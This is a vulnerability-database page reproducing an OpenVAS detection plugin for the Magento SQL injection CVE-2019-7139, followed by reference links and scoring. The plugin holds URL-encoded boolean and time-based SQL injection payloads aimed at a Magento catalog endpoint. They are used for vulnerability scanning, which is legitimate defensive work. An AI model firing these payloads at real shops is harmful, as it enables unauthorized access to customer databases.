Lucene search
+L

Magento SQLi Vulnerability (CVE-2019-7139)

🗓️ 23 Apr 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 172 Views

Magento SQL Injection Vulnerability (CVE-2019-7139). An unauthenticated user can execute arbitrary code through an SQL injection vulnerability, which causes sensitive data leakage

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-7139
4 May 202407:34
circl
cnvd
CNVD
Magento SQL Injection Vulnerability
12 Apr 201900:00
cnvd
cve
CVE
CVE-2019-7139
10 Apr 201917:07
cve
cvelist
Cvelist
CVE-2019-7139
10 Apr 201917:07
cvelist
dsquare
Dsquare
Magento 2 SQL Injection
7 Apr 201900:00
dsquare
friendsofphp
Friends Of PHP
SUPEE-11086 - RCE, XSS, CSRF and other vulnerabilities
26 Mar 201900:00
friendsofphp
friendsofphp
Friends Of PHP
SUPEE-11086 - RCE, XSS, CSRF and other vulnerabilities
26 Mar 201900:00
friendsofphp
friendsofphp
Friends Of PHP
PRODSECBUG-2198: SQL Injection due to a flaw in MySQL adapter
25 Jun 201900:00
friendsofphp
github
Github Security Blog
Magento 2 Community Edition SQLi Vulnerability
24 May 202222:00
github
kitploit
Kitploit
Magento-CVE-2019-7139-SQLi-PoC
14 Sep 202612:43
kitploit
Rows per page
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:magentocommerce:magento";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.142271");
  script_version("2025-09-05T15:40:40+0000");
  script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
  script_tag(name:"creation_date", value:"2019-04-23 12:18:32 +0000 (Tue, 23 Apr 2019)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-08-06 14:15:00 +0000 (Tue, 06 Aug 2019)");

  script_cve_id("CVE-2019-7139");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Magento SQLi Vulnerability (CVE-2019-7139)");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_magento_detect.nasl");
  script_mandatory_keys("magento/installed");

  script_tag(name:"summary", value:"An unauthenticated user can execute arbitrary code through an
  SQL injection (SQLi) vulnerability, which causes sensitive data leakage.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"Update to version 2.3.1 or later.");

  script_xref(name:"URL", value:"https://www.ambionics.io/blog/magento-sqli");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

# Error based check
base = dir + '/catalog/product_frontend_action/synchronize?type_id=recently_products&ids%5B0%5D%5Badded_at%5D=&ids%5B0%5D%5Bproduct_id%5D%5Bfrom%5D=%3F&ids%5B0%5D%5Bproduct_id%5D%5Bto%5D=';
payload1 = '%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+333%3D333%29+--+-';
payload2 = '%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+333%3D334%29+--+-';


url = base + payload1;
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

if (res !~ "^HTTP/1\.[01] 400")
  exit(99);

url = base + payload2;
req = http_get(port: port, item: url);
start = unixtime();
res = http_keepalive_send_recv(port: port, data: req);
stop = unixtime();

if (res =~ "^HTTP/1\.[01] 200") {
  report = 'It was possible to perform a blind SQL injection attack.';
  security_message(port: port, data: report);
  exit(0);
}

# Time based check
latency = stop - start;

foreach i (make_list(1, 3)) {
  payload = "%29%29%29+OR+%28SELECT%2AFROM+%28SELECT+SLEEP%28%28" + i + "%29%29%29a%29%3D1+--+-";
  url = base + payload;
  req = http_get(port: port, item: url);
  start = unixtime();
  res = http_keepalive_send_recv(port: port, data: req);
  stop = unixtime();

  if (stop - start < i || stop - start > (i+5+latency))
    exit(0);
  else
   temp += 1;
}

if (temp == 2) {
  report = 'It was possible to perform a time-based SQL injection attack.';
  security_message(port: port, data: report);
  exit(0);
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2025 00:00Current
10Critical risk
Vulners AI Score10
CVSS 27.5
CVSS 39.8
EPSS0.18336
172